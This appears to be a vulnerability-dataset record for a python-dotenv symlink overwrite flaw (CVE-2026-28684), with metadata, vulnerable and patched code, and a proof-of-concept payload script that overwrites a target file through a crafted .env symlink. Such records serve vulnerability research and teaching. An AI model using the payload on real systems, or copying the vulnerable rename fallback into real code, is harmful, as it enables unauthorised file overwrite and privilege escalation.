{"id":1797,"cve":"CVE-2026-28684","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-28684\/","cwe":"CWE-59","cwe_number":59,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/59","cvss_score":6.6,"published":"2026-04-20","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Local","impact":"Privilege Escalation","summary":"python-dotenv's set_key allows file overwrite via a crafted symlink.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-28684\/","description":"python-dotenv reads key-value pairs from a .env file and can set them as environment variables. Prior to version 1.2.2, `set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered. Users should upgrade to v.1.2.2 or, as a workaround, apply the patch manually.","solution":"```bash\npip install --upgrade python-dotenv>=1.2.2\n```","affected_component":"python-dotenv","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport shutil\nimport tempfile\n\ndef set_key_vulnerable(dotenv_path, key_to_set, value_to_set):\n    \"\"\"\n    A simplified representation of the vulnerable logic in python-dotenv < 1.2.2.\n    This function demonstrates the core flaw without the full complexity of the library.\n    \"\"\"\n    # Create a temporary file to write the new content.\n    fd, temp_path = tempfile.mkstemp()\n    with os.fdopen(fd, 'w') as f:\n        # In a real scenario, this would read the original file and modify it.\n        # For this demonstration, we just write the new key-value pair.\n        f.write(f'{key_to_set}=\"{value_to_set}\"\\n')\n\n    try:\n        # The primary, safe method: `os.rename`.\n        # This operation can fail if `temp_path` and `dotenv_path` are on\n        # different filesystems, raising an `OSError`.\n        os.rename(temp_path, dotenv_path)\n    except OSError:\n        # The vulnerable fallback: `shutil.move`.\n        # If `dotenv_path` is a symbolic link to an arbitrary file (e.g., \/etc\/hosts),\n        # `shutil.move` will follow the link and overwrite the *target file's* content\n        # instead of replacing the symlink itself. This is the vulnerability.\n        shutil.move(temp_path, dotenv_path)\n","patched_code":"import os\nimport shutil\nimport tempfile\nfrom typing import IO, Optional, Tuple, Union\n\n\ndef _rewrite_file(dotenv_path: Union[str, \"os.PathLike[str]\"], content: str) -> None:\n    \"\"\"\n    Safely rewrites the given file, raising an error if it's a symlink.\n    This function contains the core logic that fixes the vulnerability.\n    \"\"\"\n    if os.path.islink(dotenv_path):\n        raise ValueError(\"Refusing to write to a file that is a symlink\")\n\n    fd, temp_path = tempfile.mkstemp(\n        prefix=f\".{os.path.basename(dotenv_path)}.\", dir=os.path.dirname(dotenv_path)\n    )\n    try:\n        with os.fdopen(fd, \"w\") as f:\n            f.write(content)\n\n        try:\n            shutil.copymode(dotenv_path, temp_path)\n        except FileNotFoundError:\n            pass\n\n        os.rename(temp_path, dotenv_path)\n    except Exception:\n        os.remove(temp_path)\n        raise\n\n\ndef set_key(\n    dotenv_path: Union[str, \"os.PathLike[str]\"],\n    key_to_set: str,\n    value_to_set: str,\n    encoding: Optional[str] = \"utf-8\",\n) -> Tuple[bool, str, str]:\n    \"\"\"\n    Demonstrates how the fix is applied. Instead of writing to the file\n    directly, it now calls the safe _rewrite_file helper.\n    \"\"\"\n    # The actual implementation reads the .env file line by line to build\n    # the new content. This part is simplified for clarity.\n    if not os.path.exists(dotenv_path):\n        new_content = f\"{key_to_set}={value_to_set}\\n\"\n    else:\n        with open(dotenv_path, encoding=encoding) as f:\n            lines = f.readlines()\n        # simplified update logic\n        new_content = f\"{key_to_set}={value_to_set}\\n\"\n\n    # The vulnerable file write operation is replaced by this safe function call.\n    _rewrite_file(dotenv_path, new_content)\n\n    return True, key_to_set, value_to_set","payload_needed":true,"payload":"```python\nimport os\nimport dotenv\n\n# This payload assumes it is run from a directory on a different\n# filesystem than the target_file to trigger the cross-device fallback.\n# For example, run this script from your home directory (`\/home\/user`),\n# while the target file is in `\/tmp`.\n\n# 1. Define the victim file and create it.\ntarget_file = \"\/tmp\/arbitrary_file.conf\"\nwith open(target_file, \"w\") as f:\n    f.write(\"original_content\")\n\n# 2. Create a symbolic link from the expected .env file to the victim file.\ndotenv_path = \".env\"\nif os.path.lexists(dotenv_path):\n    os.remove(dotenv_path)\nos.symlink(target_file, dotenv_path)\n\n# 3. Call the vulnerable function. This will follow the symlink and\n#    overwrite the target_file due to the cross-device rename fallback.\ndotenv.set_key(dotenv_path, \"ATTACKER_KEY\", \"pwned\")\n\n# 4. (Optional) Clean up the created symlink.\n# os.remove(dotenv_path)\n```","payload_status":"available","published_fix":[{"repository":"theskumar\/python-dotenv","commit_url":"https:\/\/github.com\/theskumar\/python-dotenv\/commit\/790c5c02991100aa1bf41ee5330aca75edc51311","commit_subject":"Merge commit from fork","units":[{"file":"src\/dotenv\/cli.py","function":"set_value"},{"file":"src\/dotenv\/cli.py","function":"unset"},{"file":"src\/dotenv\/main.py","function":null},{"file":"src\/dotenv\/main.py","function":"rewrite"},{"file":"src\/dotenv\/main.py","function":"set_key"},{"file":"src\/dotenv\/main.py","function":"unset_key"}]}],"references":null}